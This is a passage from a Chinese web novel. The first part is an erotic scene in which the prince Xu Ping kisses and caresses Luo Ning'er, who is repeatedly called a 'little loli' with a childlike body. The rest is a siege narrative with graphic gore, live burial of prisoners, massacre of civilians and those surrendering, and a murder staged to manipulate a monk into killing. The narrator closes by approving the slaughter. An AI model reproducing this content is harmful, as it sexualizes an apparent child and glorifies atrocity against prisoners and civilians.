楚楚动人的柔弱更能激起男人欲望,她一扭,柔嫩的小屁股在许平腿上一蹭一蹭的,更具挑逗意味。许平知道这是小罗莉的初吻,不能急色,需要好好品尝,马上便停止有些粗鲁的强吻,温柔地轻吻她的小嘴,诱惑道:“凝儿乖……太子哥哥想亲亲你……”
“不、不要……”
洛凝儿倔强地摇头,话里却显得很心虚,说话时还害羞地看了看散成一圈、背过身去的兵将们。少女的矜持让她感觉他们似乎都在偷看。
“乖,听话……”
许平知道想等她答应不太可能,索性蜻蜓点水地亲着她的嘴唇。双手环过她细嫩的小蛮腰,隔着薄薄衣料轻轻抚摸她的后腰,感受小罗莉香香的体温!
大手滑过皮肤时,几乎能感觉到一阵颤抖。洛凝儿一开始还有些娇羞地抵抗,但她一个纯洁小罗莉哪是许平这条老色狼的对手?尽管没有直接刺激敏感部位,但是对肌肤若有若无的爱抚也不是她受得了的挑逗。
小罗莉脸上浮现一种可爱的红晕,呼吸也变得紊乱。身子柔软地靠在许平怀里,似乎放弃矜持的抵抗,迷离的眼睛害羞地闭上,小手紧张地抱住许平的腰,不再抗拒男人火热的嘴。
她侧坐在许平腿上,亲的时候必须微转身体,露出的脖子雪白细嫩,许平隐隐有想舔的冲动,但看着温顺的小罗莉,又舍不得她珍贵的初吻,决心先让小罗莉品尝到初吻的美妙。
许平的手很是规矩,没往下把玩她的嫩臀。专心亲吻小罗莉红嫩嫩的嘴唇,见她愈来愈温顺,试探着舔了起来。舌头灵活地将她的小嘴撬开,一阵迷人芬芳顿时扑鼻而来。可惜洛凝儿特别紧张,一直闭着贝齿,不让许平的舌头钻进去探索。
许平倒不慌忙,反正现在不可能将她彻底占有,所以耐心地舔了舔她雪白整齐的贝齿,感觉有种难以言喻的清香。他的挑逗让小罗莉渐感浑身无力,紧闭的牙关终于放弃矜持,出现松懈。
趁着这机会,许平快速将她抱紧,让她柔嫩身体紧紧贴在自己身上,双手毫不客气地按在她的小腹上。洛凝儿顿时娇羞的“啊”了一声,许平马上把舌头伸过去,开始舔着她清香十足的小口!
“呜……”
洛凝儿轻轻一吟,身子越发柔软,小嘴不知所措地承受许平的亲吻,身子不知是因为紧张还是初尝接吻滋味而瑟瑟发抖!
像她的小脸一样,小舌头软软嫩嫩,害羞地躲避许平的舔逗,但还是被擒住了。
许平一边含着舌尖轻轻吸吮,一边舔弄、品尝诱人的味道,极尽温柔地品尝小罗莉青涩又动人的初吻。虽然没有任何回应,但这种茫然的羞涩却是最迷人的!
长长的一个湿吻让洛凝儿忘了思考,异样的刺激挑逗她脆弱的神经,渐渐迷失在作梦般的美妙中。从没体验过这么舒服甜蜜的滋味,眼里的水气让许平看出她被自己亲得动情。
火大呀,这么迷人的身体在怀里扭来扭去,但现在的情况,想吞了这个可人的小罗莉有点不切实际,再加上洛凝儿有点喘不过气,许平只能恋恋不舍地离开她嫣红的小嘴,有些意犹未尽地舔去嘴唇上残留的余香!
洛凝儿此时闭着眼急促地呼吸,嫩嫩小脸满是粉粉晕红,看起来更加童趣可人,似乎不相信会是这么美妙。小舌头本能地舔了一下嘴唇,香艳至极的动作让许平差点暴走!
两人静静拥抱片刻,感受彼此的呼吸和心跳。洛凝儿一直安静地靠在许平怀里,本来有满腔情话想要倾诉,这会儿却不知该怎么说。既然羞于开口,索性一直闭眼不言不语,享受初吻献出后的温存!
“好凝儿,舒服吗……”
许平见她害羞的模样实在可爱,忍不住为她挽了挽发乱的发丝,语气温柔,也有明显的调笑。
“不舒服……”
洛凝儿倔强又撒娇地捶打许平的胸膛,娇滴滴地嗔道:“都是你的口水,脏死了……”
“不脏,很香哦……”
许平见她露出女孩儿娇羞的一面,呵呵笑了,手指轻轻捏住她的下巴,让害羞的小罗莉抬头看着自己,含情脉脉地说:“凝儿,我们已经一吻定情了,你要乖乖等我,等太子哥哥旗开得胜后就来接你好……”
洛凝儿虽然羞怯,但水蒙蒙的眼眸大胆地看着许平的眼睛,声音微微颤抖:“您、您不能骗人……”
“我哪会骗你呀!”
许平说话时又在她红润小嘴上轻柔一吻,信誓旦旦地说:
“等战事过后,我再带你一起出去玩,带你回京城去。”
“嗯……”
洛凝儿明白已是分离时候,无名无分的她无法随许平一起走,无奈地叹息一声后,她抱紧许平的腰,将头靠在许平的胸膛上。
静静的时刻显得安宁浪漫,洛凝儿沉浸在初恋中,小脸上有难掩的幸福。许平自然也是一副温柔无比的样子,腰际却被她胸前小小的隆起一顶,裤里的巨物也开始不安分,被小罗莉幼嫩身体弄出几分欲火。
“凝儿,回去吧!”
许平细语温声,一边摸着她的头发,一边轻轻唤了一声,他怕再这样折腾下去,会控制不住将她抱回屋里,直接采了这朵鲜嫩的小百合。
“嗯!”
洛凝儿乖巧无比,点头后,跨坐到小白马上。她万分不舍地看着许平,楚楚可怜地说:“太子哥哥,凝儿已经让你亲了,你可别忘了我呀……”
“别担心了,早点回去吧!”
许平怕再啰嗦下去,恐怕得闹到明天早上;再加上天色晚了,说话的同时,他招来几个侍卫,让他们赶紧把小罗莉送回去。
小罗莉在侍卫簇拥下,掉转马头往回走,一步三回头地看着许平,恋恋不舍的样子让他的心都快碎了,尤其最后眼里掉下的眼泪更是让人不忍再看。
好不容易结束情调十足的分别,许平稍稍缓过神来,心想:儿女情长以后有的是机会,反正铁定是自己的女人,还有什么可想?
送别了小罗莉,许平也不再耽误,带上所有人马借着夜色朝河北归去,一路上马不停蹄地赶路。脑里开始思索攻打津门的方案,却不自觉想起这个初吻所带来的美妙幽香,和小罗莉恋恋不舍的模样!


第二章攻城略池!
张家镇的坡道上到处浓烟滚滚,原本因为战乱而没多少人行走的小路,这时却是人声鼎沸,不过人声不是赶集的百姓发出的,而是城墙下漫山遍野士兵们咆哮的怒吼,和他们手里大刀砍过的破空之音!
城池四周根本看不见半点安宁,到处都是厮杀之声和阵阵撕心裂肺的惨叫,空气中弥漫浓重的血腥味,伴随满天烟尘,更显得凄厉无比。恶鬼营的将士们身穿代表性的黑色盔甲,如潮水般的攻击已经让这座小城池摇摇欲坠!
这一带属于津门地界,地里田间、山林深处,到处都是混战的士兵。杀过唯一的地障I一条湍急大河后,几乎没有其他阻碍,奋战一夜的恶鬼营三校,此时正挥舞屠刀,与早已惊慌失措的地方叛军杀得难解难分!
占据人数上的优势,几乎在短兵相接时形成一面倒的屠戮。一万大军以横扫性的强悍,压制外围极少的叛军后,以空名和欧阳泰为前锋,几乎同时朝四个城门发起猛烈进攻!
眼下金戈铁马,一万大军一路上高歌猛进,欧阳泰率三千大军主攻西门,手中双头枪翻舞间血雾漫天,恶鬼营的骑兵冲杀震天,早就占据压倒性的优势,拿下这座小小城池不过是时间问题!46大队人马回到河北时已是第二天中午,许平明白时间的可贵之处,未等众将准备好迎接礼,就立刻下令四营人马除了必要的干粮外,其他一律抛弃,在最短时间内集结成四路大军!
兵贵神速,这话一点都不假。恶鬼营集结后,势如破竹般踏过边界线,朝津门附近的城池和要塞发起前所未有的猛攻,以排山倒海的狂攻杀得懒散已久的地方叛军猝不及防,几乎只用一天时间就撕破这条可有可无的缓冲带,杀开最薄弱的一层防御!
恶鬼四营各自作战,分路进攻,在多轮大战后也各有损伤。许平见状,直接打破禁卫队编制,补充进四大营里,以填补供给上的空白。一方面是现在没时间扩招兵马,另一方面也是因为这支备受期待的御林军没有发挥出预想中的实力,有必要把他们送进军中再次训练,让他们在战场上好好磨练一番。
恶鬼营几乎舍弃河北线上所有的防御,四万大军朝南一路压进,兵分四路,按各自路线开始凶狠的攻坚战。一路上攻城掠地的拼命态势,已经到了近乎疯狂的地步,屠杀起来也不再讲究仁慈,摆明有无占领城池都无所谓,但必须将所有叛军一网打尽!
军心不稳的地方叛军本来就没有多少兵马,更没有玉石俱焚的决心,很多城池不等兵临城下就弃甲投降,四路大军一路打下来,虽然死伤不少,但也算顺风顺水。
就算碰上敢顽抗的叛军也无需多言,直接强攻的可怕冲击力不是这些乌合之众所能抵抗的!
只要越过张家镇,前方六十里就是此次攻打的目标:津门大城。其他各路人马或多或少拖延了行军路线,但这次许平下了死令,没有任何借口,日落之前必须全部压到津门三十里外驻扎集结!
其他三路大军也不敢怠慢,最后一句“违令者斩”更是激发众人的凶气。
地方叛军多为临时抽调的壮丁,还有一些混吃混喝的家伙。面对恶鬼营无视人命的态度早就吓破胆,甚至有的叛军没等大军杀到,就直接鸟兽散地各自逃命,低迷的士气由此可见一斑。
其他三营大军分别由关大明、陈奇和老四带着。这三位也是闷了许久,杀起人来一点都不客气,碰上俘虏太多的麻烦情况,都采直接坑埋,绝不拖泥带水。
战场^ 老兵的残酷和新兵略有怜悯的区别,让不少人为之胆寒。
许平带着三营往正中间路线突破,集结空名、欧阳泰和一大部分善于冲锋的大将,就是为了在这一点先行突破,为其他兵马制造快速推进的机会。这一路上虽然舟车劳顿,好在遇到的抵抗不是很强烈,再加上营里善战的大将比较多,所以比计画提早半天就打到张家镇的小城下。
周井在张家镇内囤积近五千的兵马,他也明白这是津门最好的一个屏障。早有准备的防御工事为恶鬼营带来不少麻烦,打了一天一夜才找到破城时机。这时众将都顾不得疲惫,必须赶在日落之前将最后一个障碍拿下!
“门开了……”
城池下混战一片,攀爬进城的恶鬼营兵将愈来愈多,血战半天终于杀到城内,将紧闭城门打开,呼唤大军赶紧进城。
“随我杀呀!”
欧阳泰在城门外满身是血的冲杀,回头一看,城门被打开一半,当然不能放过这种机会。话音刚响起时,他一马当先地冲进去,手中的双头枪无时无刻都发挥着战场凶器的可怕。狰拧的脸、满身血水和周边飞舞的人头,在在昭显谐§和难以抵抗。
雪白马鬃都被血水染红,叛军慌忙赶来,想守住城门,却已来不及。欧阳泰和其他大将先后冲进去,一路上砍瓜切菜般的屠杀早就打乱敌方阵形。外边看到机会的兵马也不敢怠慢,掉转马头追随他们,朝城内冲进去!
三千兵马先后冲进城内,这时防守其他城门的叛军也坐不住,一边烧起狼烟求援,一边集结兵马赶来西城门救援,但为时已晚。三千兵马杀得西城叛军毫无招架之力,城门大开后,又和赶来救援的城内叛军杀得难解难分!
看到告急的狼烟燃起,其他防守要害地带的叛军纷纷从峡谷、山道赶来支援。
欧阳泰横枪杀敌的可怕让他们胆寒,如果任他在城里翻云覆雨,张家镇就彻底完了!
“给我宰了他们!”
欧阳泰一边观察局势,一边让人点起烽烟,通告大军城门已破的消息。驻扎在城内的叛军不过一千多人,城内战局也在他掌控之中。
一队一千多人的叛军步兵急忙从旁边防御其他兵马的树林里冲出来,叫嚣着要赶回城里支援。这时城下的混战人群中,冲来一支五百人左右的恶鬼营骑兵,肃杀满天地前去阻截!知“给我杀呀!”
空名手持一柄重达百斤的大铜棍,在马上呼啸挥舞着,光是可怕的呼啸声就让人感觉骨头发凉。他策马奔蹄前行,手中铜棍沉重无比。但凡被砸中的无不飞出数尺之外,骨裂而死,连惨叫都还来不及发出,令人胆寒的蛮力可见一斑。
一千多名叛军顿时吓了一跳,一身戎甲的空名如同杀神冲来,光看见铜棍扫出几个圆圈就硬生生砸死十多人,刚才还在叫器的叛军全都吓傻了眼。
“给我去死!”
空名满眼血丝,一马当先地冲进叛军中疯狂屠戮。后边跟随的将士一看,无不士气激奋,马上加入围剿叛军的行列!
城南十里处,三千兵马正眼露兴奋地看着前方城里愈来愈浓郁的黑烟。孙正农站在高处往城下瞭望,看见空名将一名叛军的脑袋硬生生森碎时,心里冒起一阵寒意,不由得感慨:“这家伙发起狠倒是够吓人的!”
“千万军中取上将首级……”
刘士山一脸沉重,默默叨念:“好一尊怒佛呀,原本以为欧阳泰中第一冲锋大将,没想到空名大师恨极之时也是杀性十足。
有这二人为左右先锋,这些乌合之众俨然成了俎上肉。““是啊!”
许平被兵马簇拥在最中间,听着两位心狠手辣的门生对空名的评价那么高,心里有点不是滋味。不知该高兴,还是愧疚?
这秃驴老是喊着不想杀生,佛门教导他的慈悲让他不忍杀敌建功,几乎躲起来不愿意上阵,最后在欧阳泰耐心教育下,总算才答应披挂上阵,但多少有些不情不愿。要是这个绝顶高手无法利用,那才是最大的浪费!
空名一路前行,率领五百兵马阻截两倍于己的叛军,在城墙下与他们战成一片,只是一个照面的工夫就把对方将领杀得骨碎而死。他策马回冲,手里铜棍宛如夺命利器,密不透风的圆舞瞬间斩下数十人命。铜棍一扫虎虎生风,给人感觉简直是怒佛下凡般的可怕。
不过他的样子很奇怪,原本憨厚老实的脸上是一副狰狞之色。滑稽又坚毅的眼里看不出丝毫仁慈,反而布满血丝,显得凶狠无比。细看,一直紧咬的牙关甚至渗出血来,根本不是因为受伤所导致的,一看就知道是有深沉仇恨在心。
七千兵马攻城,三千在后留守杀敌。许平没有身着盔甲冲锋陷阵,而是坐在一辆宽敞马车上观察目前局势!前摆一桌,铺满奏报和各类图纸,他运筹帷幄地观察眼前战局,眉头时而紧皱,时而露出苦色,但眼里的凌厉还是让周围兵将无不严肃以待。
“杀呀!”
空名这时根本不像出家人,策马在战圈中来回冲杀,手里铜棍甚至砸得有点变形。强壮的身躯布满别人的血液、尸块,甚至还有脑髓,策马冲过的地方更是惨叫连连,简直是个来收命的阎罗,狰拧模样让众人不由得为之胆寒。
“大、大师这是怎么了?”
“不知道呀,没看过他那么生气……怎么回事?”
即使是留守的兵将都不由得窃窃私语;杀性十足的空名是他们前所未见的。
孽气沉重地挥舞着凶暴的铜棍,甚至比起欧阳泰的双头枪更加惊人。在众兵将的眼里,这个大师武功虽然高强无比,为人却老实憨厚,十分亲切,谁都没想到他竟然有如此杀性的一面,铜棍一扫简直把人命当成草芥,哪是一个慈悲为怀的出家人?
主帅的马车被他们团团簇拥在中间,许平隔得虽远,不过似乎也感受到空名的滔天愤怒,他眼里闪过一丝阴谋得逞的冷酷,但多少有一丝无奈的愧疚。
空名自从入府以后,一直很不习惯官邸人家步步为营又规矩十足的生活。虽说大家都尊重他的身手和老实的品性,但他却感觉很不自在。在许平身边久了,他最谈得来的朋友就是后严的一个厨子,他们一样出身低微,又同样老实。
两人虽然在地位上略有差异,但这个亲切的小厨子却成了空名脱出师门以后唯一的朋友。每次空名肚子一饿,不管是白天还是深更半夜,都会去敲他的房门;他也会笑骂着给空名准备一顿美味的饭食。平淡的一份友情,有时很难理解,但又特别可贵,可谓君子之交淡如水。
空名不想上战场是因为心慈而不愿杀戮。许平编造一个最残酷的谎言:亲手把那个厨子的尸体丢到他面前,感慨地告诉他,这个厨子不愿受纪龙收买而被杀害。
好友死去时的痛苦模样立刻引发空名原本不该存在的恨意,让他从一个慈悲为怀的和尚瞬间变成无法自制的杀神!上阵杀敌时已不是原本敷衍的态度,空前的愤怒硬生生地扼杀了他的怜悯之心,变成一个真真正正的杀戮机器!
等拿下津门,我再谢谢你吧。许平深深叹了口气,不知该怎么感谢无辜的厨子,也惊讶空名对朋友的重视。原本只想刺激空名,让他肯老实地戎马杀敌,没想到他们之间看似浅浅的友谊竟然那么深厚。
这份友谊深厚得让空名无视人命,忘却佛门的仁爱之训,彻底变成一个可怕的杀人兵器!虽说这种做法多少有些过于激烈,但用一个下人的生命换来如此可怕的冲锋大将,不得不说是意外收获。
“主子……”
孙正农似乎看出许平小小的不自在。人是他杀的,他当然知道空名疯狂的原因。他沉吟一会儿后小声说:“成大事者不拘小节,能得到空名大师这种疆场悍将,那人也算功德无量!”
“好好安置他的家人,多给他们一些银两吧!”
许平明白上位者不该心软,但还是忍不住叨念,眼神依旧空洞地望着战场,完全看不出任何情绪,也没了刚才一闪而过的愧疚。
“是!”
孙正农面无表情地应了一声,转头凝视战场。他本就不是心慈手软的人,这主意虽然阴毒,但效果却是让所有人目瞪口呆。在他眼里人命本该贱如草芥,只有最后的利益才是上位者该考虑的。
五百与一千的混战,在空名一马当先的冲杀中,竟然硬生生把这股前来救援的叛军全杀得弃甲而逃,其他援军也被杀得无功而返。眼看无力回天,不少人哭爹喊娘地落荒而逃,也没人再去追杀他们。
空名回过头,伸手抹去脸上黏稠的血液,深吸一口气后,掉转马头朝城门冲去,怒声喝道:“不许停下,把他们全给我宰了!”
话音一落,没等其他兵将反应过来,他只身一人冲进顽固抵抗的叛军阵中。
这卤莽行为让众人着实捏了一把冷汗,但空名却一点都不在乎,盛怒之下的咆哮重如虎吼,铜棍一扫更是力拔千钧!
但见他冲进人群中却无半点减速之意,反而凭借高超的武功,杀得叛军惨叫连连,甚至被砸得如无重之物般凌空飞起。一瞬间让城外散兵游勇的叛军彻底崩溃,纷纷丢弃兵器拔腿就跑!
“大师太厉害了!”
恶鬼三营上下无不为之惊叹,原本以为空名最多是个武功高强的侍卫,没想到他杀性一起会如此可怕。这种悍将在军中冲杀,恐怕谁都拦不住。
“还叫大师!”
许平冷哼,不满地说:“这是你们的先锋将军。”
“空名将军威武……”
众将反应过来,漫山遍野的呐喊声瞬起,此起彼伏宛如波涛海浪连绵不绝。在他们的呐喊中,空名更加势不可挡,也激发其他将士的血性,让他们的攻势变得更加凶猛。
“杀呀!”
少数叛军还在做最后挣扎,但局势在欧阳泰和空名这两位冲锋大将的杀戮下,变得一面倒。恶鬼营的将士们变得更加凶狠,杀起人来更加顺利,潮水般的进攻彻底瓦解他们的防御,反抗已经没有多大的效果!
漫天的厮杀直到繁星遍空才落下帷幕。总共俘虏一千多名的叛军,还硬生生地杀伤一千多名,附近所有驻守的叛军更被杀得无力抵抗,可算是取得一场比预期中更加理想的胜利!
这场大胜让恶鬼三营上下为之振奋。虽说自己也伤亡了两千多人,但毕竟是攻城方,这个代价已很轻微。再者这是最后一战,艰苦征战两天后拿下最后屏障,黑夜过后攻打津门的行动,在他们看来才是最兴奋的战役!
恶鬼营的大旗慢慢悬挂在城墙上。当欧阳泰斩落最后一个叛官的人头时,全城上下尽是欢呼声。通亮的火把照亮这个小地方,火光下的恶鬼营将士个个满身血水,骄傲地俯视地上一具具毫无声息的尸体。
残酷的战争后只剩下愉悦的胜利者,恶鬼三营上下欢腾一片。在他们的簇拥下,许平的马车慢慢越过城门,进入小县城。城墙上古朴的石块遍布血水和腥气,虽然已被仔细地清理,但偶尔会看见地上的尸块,以及墙缝里显眼的血迹。
城外的将士们已十分烂熟于挖坑埋尸,拖着疲惫身体开始清理战场。尸体这时就像是废弃的垃圾被随意丢到坑内,甚至尸堆中还有不少喘气呻吟的叛军在哭喊。
但这时谁都不会怜悯,等待他们的只有一把埋葬的黄土!
城内还有不少店铺在烧着熊熊大火,最多的还是恶鬼营将士在角落里搜寻,将漏网之鱼找出来补上一刀。虽说有令在先,不伤及无辜,但还是看见不少无辜而死的百姓。他们的眼里有痛苦、不甘和恐惧,不过这就是战争,为了胜利,一切的仁义道德都是虚假的。
硝烟弥漫,许平在马车上看着破败的一切,有点心酸。虽说心里早有准备,但看不少无辜死去的百姓被抬去坑埋,心里多少有点惆怅,叹息后问道:“城里的官员呢?”
“顽抗者,斩立决!顺逆者,拘禁!”
有人如是上奏,明白这次战争不需要怀柔,把不稳定因素全部消灭是最好的办法,没必要再用仁慈的心做任何无意义的事。
道路两旁都是尸体,死去的百姓甚至比士兵还多,有的更是含冤而死。许平已经感觉脑子有点发麻,但依旧面沉如水,马车晃动的格格声很是轻微,但在沉静的前行中却那么刺耳。
存活的百姓全躲在家中不敢出来,许平感觉自己巡视的不是胜利的果实,而是屠杀后的一座死城,难怪战争总招人怨恨,因为不管谁是最后胜利者,残酷的结果仍然无法改变!面对太多生命的消逝,再铁石心肠也不免会有惆怅之意!
“我要杀了你!”
马车在街道中缓缓前行,突然响起一声声愤恨的嘶吼声,从堆积如山的尸体与毁坏的商店中,突然冲出一个个满身伤痕、穿着百姓服饰的壮汉,他们似乎早已隐藏在尸堆中等待机会,一个个满面狰狞地朝许平的马车冲过来,相距不足十步之遥。
突来的偷袭让行进的兵马吓了一跳,无奈街道太窄,有的兵士想救援也来不及,这条主道只容四、五个人并肩而过,这时就算有再多的兵马也无济于事。而且这帮人的意图很明显,就是冲着太子而来,一个个抽出大刀,一副拼死一搏的架势。
“护驾!”
反应快的迅速拿起兵器阻拦,但道路太窄,限制了救援行动。现场一下陷入混乱,给了这些叛逆更好的时机!
“杀了他呀!”
这些怒意满面的大汉身手要比一般人强多了,慌忙的将士前去阻挡也挡不住他们。他们显然经过精心策划,埋伏许久,想趁这时候来个擒贼先擒王,将许平杀之而后快。
十多个大汉个个身手高强,尽管最前面的兵将们尽力阻截,但没一会儿就被他们杀到马车前。其他人也想救援,奈何此时鞭长莫及,小小的道路已经彻底扼杀这种可能性。
“不知所谓!”
许平抬头看了一眼冲在最前面的大汉,冷哼一声后,继续低头看阅奏报,仿佛这些人只是含恨而来的蝼蚁,根本无法造成半分威胁。
“你……”
为首的大汉见许平态度如此轻蔑,顿时一怒,砍翻一个兵将后就冲到近前,手中大刀一挥,带起凌厉的破空之音,银光闪烁,直取许平脑门。
“主子……”
所有人都捏了一把冷汗,身在远处的空名和欧阳泰饶是武功盖世,却是远水救不了近火。孙正农和刘士山虽然计谋多端,却没有战斗能力,这时连他们也吓得脸色发白,但两人竟然同时用身体挡在许平面前。这一刹那的忠诚让许平露出满意笑容,这两个家伙歹毒归歹毒,对自己还算忠心耿耿。
两个文弱书生眼看大刀将落,无不害怕地闭上眼睛,面孔扭曲地等死,而许平也没半点出手救他们的意思。千韵一发之际,空气中响起奇怪的声音,细腻得像是柳叶飘舞,给人感觉清雅,又特别纤细,尖锐得似乎能破开任何障碍。
只见半空中不知何时飘出一个黑色身影,黯淡的颜色虽然沉重,但不难看出是名女子。她的身形高挑完美,快如鬼魅,完全没有半点停滞,如天降夜叉般站在孙、刘二人面前;随之舞雾是数道肉眼难辨的银光。
一切都发生得太快,没人看出她是从哪里来的,甚至她怎么出现的都没人知道,快如闪电的身形让人连残影都看不清楚。
“无知……”
冷月手中的软剑在刹那间宛如万千毒蛇杀性齐起,数道银光一闪,几乎没有给人反应的时间,未等众人看清她是如何出手时,剑已入鞘,只见她面如寒霜般站在孙、刘二人面前。
英姿飒爽丝毫不逊于男儿,冷月静立风中,粉眉一皱更是寒气逼人。以她的出身根本不惧怕这种死尸遍地的场面,甚至对生命的漠视态度,比起战场上的兵将都不落分毫,尽管容颜倾国绝色让人心醉,但任谁都不敢在这时有半分遐想!
因为这时冲在最前面的几个大汉都满脸难以置信,身手高强的几个无不面露不甘之意,他们痛苦地梧着喉咙,一一倒下。一看之下,每人握刀的手竟然都经脉全断,更可怕的是,在这紧张时刻,他们竟然全是被冷月一剑封喉,无一例外,犀利的剑法和他们脖子上的细小切痕让人瞬间心生寒意。
太快了,连剑都看不清是什么模样,瞬间就杀了十多人,这种可怕剑法让人如处梦境。孙正农吓得脸色发白,腿一软坐倒在地,一边喘气,一边颤声说:“好在好在,老夫还以为会把命丢在这呢!”
“还好没死!”
刘士山松了一口大气,也是一屁股坐到地上,身上的衣服都被冷汗弄湿。这时他朝孙正农调侃道:“我就说了,我应该比你长命,和你这老东西一起死也太冤了……”
“你……”
孙正农狠狠瞪了他一眼,刚想回骂几句,却发现气有点上不来,无奈下只能闭嘴让自己别再受刺激。
“二位没事吧!”
冷月转过头来,看着这两位号称毒甚蛇敏的人,都是惊魂未定的模样,颇觉有趣。她轻轻关心一句,也许他们刚才以死护主的行动很悲壮,让这两个手无缚鸡之力的书生在她眼里变得伟岸。
“多谢主子出手了!”
两人说话时都是有气无力,从鬼门关前走了一遭的感觉真不好,两人都不是武将,面对这种场面多少不适应!
许平挥手示意他们两个先去休息,看向冷月脸上是丝丝暖意,笑呵呵地说:“你的轻功又增进不少,快得我都有点看不清楚。”
“多谢冷捕快,我们……”
周边将领目睹这惊险一幕,无不吓出冷汗,赶紧指挥手下围剿其他余孽,一个个凑过来想恭维冷月几句。
“你们比他们更该死!”
谁知冷月给了许平一个深情凝视后,竟然眼神一眯,沉静如水的面上瞬间流露出更为可怕的杀气,一个灵活的转身跳跃,宛如轻风相送悄无声息,飘逸的身影在他们身边转了一圈后,又迅速回到许平身前。
银光闪过后,冷月的宝剑再次回鞘,这时剑壳已沾染不少鲜血,而她本该清澈如水、沉静若霜的眼里更是杀意十足。冷哼一声后,看向这些将领的眼神已像在看死人,可以感觉出这次出手比上次多了一种不满的情绪波动。
“我……”
周边十多个将领一开始感觉颈上一热,伸手一摸,满手血水。他们不敢相信地看了冷月一眼后,纷纷抽搐倒地,一剑封喉的可怕让他们眼里无不目露恐惧之意,谁都不清楚冷月是怎么将他们一一诛杀的。
十多个原本护在许平周围的将领瞬间被冷月杀死,周围士兵顿时紧张起来。
再加上冷月在许平旁边,个个马上将剑尖对准冷月。以冷月那么可怕的剑法,她要是行刺,才是最大的危险!
“冷月姑娘!”
欧阳泰喝止混乱局面后,赶紧冲过来,他看了看地上抽搐的将领们,不由得皱眉,尽管不快,还是用恭敬口吻说:“不知道您为何要贸然出手?这些人并不是叛军,而是我恶鬼营中的将领。他们失职自有军法处理,似乎不是你们顺天府能管的吧?”
“欧阳泰!”
冷月原本是个低调之人,这会儿却一点都不客气,粉眉微皱地看着他,声细却如寒霜:“这就是你们的将领,战胜后疏忽大意,给了歹人行刺的机会。危险当前还不如两个文弱书生,难道这就是你带的兵?主子爷有个好歹的话,你担当得起?”
“我……”
欧阳泰一时语塞,细想是自己疏忽之过,护主不力确实是一大罪过,冷月出手杀人虽是不该,但权衡轻重后,他也没办法追究。
冷月似是不悦,因对爱郎关切至极而露出愠怒,冷哼道:“这些还算是将领?别说这种歹人靠近,连我赶来都没察觉。如果我是刺客,你欧阳泰拿下一个城池却丢了主上性命,这算什么臣子?你……”
“行了!”
许平继续批阅奏报,头也不抬地阻止冷月继续发泄与指责。他也对这些兵将的警觉性感到不满,冷声说:“把他们全拉去埋了吧!”
“我……”
欧阳泰满面自责,血战一天的胜利顿时显得微不足道。他是第一个打进城的,也一直负责清洗和追杀余孽,没想到在眼皮底下竟然有人藏在路边伺机而动,按理来说,罪过最大的是他这个前锋将军才对。
许平要是能责骂几句,或是军法论处,他还好过一点,可是主子一副冷漠态度让他越发愧疚。他脸上满是痛苦,突然咬牙抽出匕首对准自己的胸口刺下,痛苦呐喊:“欧阳泰无能,置主子于险境,当以死谢罪,以正军法……”
“欧阳……”
在一旁的空名满身血腥,虽不懂兵家之道和军中规矩,也知道这个罪名不小,他没想到欧阳泰竟然会羞愧得要自裁,想救援时已来不及!
冷月微微一愣,没想到欧阳泰要以死谢罪,虽说他有疏忽大意之过,但几句指责也不是想逼死他。这位文武双全的门生在爱郎麾下是什么地位,她很清楚,当下急得要去夺他匕首。
“滚……”
许平突然抬头怒喝一声,手一扬,毛笔竟如劈空闪电迅疾而出,蕴涵恐怖的内力,这瞬间出手甚至连距离最近的冷月都看不清楚。
欧阳泰本欲引罪自裁,匕首刚要刺进胸口的一刹那,竟然被凌空而来的毛笔击得断裂成两半。强悍的力道他并非不能招架,但这时虎口隐隐生痛,让他惊讶无比。
他捂着手腕,看向许平的眼里充满错愕,这种强悍力道和他以前认知的主子简直判若两人。
“冷月……”
许平不慌不忙地拿起另一支笔,也不管欧阳泰惊呆在地,皱眉说:“你也好不到哪去。擅自来前线却不禀报,你有什么资格在这谴责他人?”
“冷月有罪!”
冷月慌忙跪下,不敢抬头。她恨这些无能之辈没有尽职,但细算之下,她也有莽撞之罪!
许平长叹一声,站起身看着连绵的行军队伍。本来是个激励士气的好机会,却被无端的闹剧打扰。冷月深爱自己才有强烈的不满,欧阳泰忠心至极,才会愧而自裁,两人都不该被谴责,他有点不知该怎么办。
“传令……”
许平心里毛躁,眉头一皱狠声喝道:“我不想城里出现任何有异心的俘虏,但凡叛变者,杀无赦!”
“主子,这些人有的是被强拉入伍的!”
旁边有个门生皱起眉头,尽管小心翼翼,还是忍不住上前说了一句。
“啪”的一声十分响亮,说这句话的人被许平一巴掌扇得晕倒在地。许平咬牙切齿地看着犹豫不决的将士们,怒声吼道:“古有不饮盗泉之水者,有忠之士岂会因一时之惧而叛逆朝廷?与其言其无辜,不如诉其贪生怕死,既已做出乱天下之罪事,万善不可免其祸害苍生之罪!”
“是……”
众将一听,谁都不敢再有异议,纷纷将手里的刀握得更紧,心里的仁慈在这时消失得一干二净。
“你们……”
许平坐回马车上,看着跪倒在地的冷月和满面羞愧的欧阳泰,面无表情地说:“有罪无罪我来定,跟我回府!”
“谁负责这条街上对叛逆的清剿?”
许平面沉如水,冷哼一声后怒道:“拖出去斩了!”
“是……”
二人战战兢兢地应了一声,跟在车后,彼此互视一眼,均感疑惑。
直隶之行后,这个熟悉的主子有些改变,言语间变得充满让人胆寒的压迫,以及让人惊讶无比的镇静和冷淡。
虽然主子露出不满情绪,意图却很明显。他把兵将们的注意力转移到别的地方,杀了小鱼小虾为欧阳泰开脱失职之罪,也没追究冷月的鲁莽之罪!虽然许平面露怒色,但二人都明白主子并无责怪他们的意思。
这一夜,城内到处都是屠杀之声。无论是躲藏在暗处发抖的逃兵,还是有点怨言的百姓,全被诛杀于刀下,仁慈的代价只是给别人留下报复的机会。经历过进城的变故,兵将们这次毫不手软,即使举手投降也一刀斩之,绝不姑息,无情的屠戮让里尽是阵阵哭喊声。
自古成者王侯败者寇,战争时干了什么不重要,重要的是谁是最后的胜利者。
胜者无论在过程中如何冷酷无情杀人如麻,最后还是会受到众人歌功颂德,败者再怎么慈悲为怀、惜世怜民,在当权者威压下,终究会被塑造成杀人不眨眼的恶魔。
自古恒之,兵家胜者慈悲为仁功德无量,败者自是遗臭千年的无良贼寇。所以不需要有任何顾忌,如何杀戮都不重要,最终都是为了胜利,“一将功成万骨枯”是对胜利者最好的褒奖!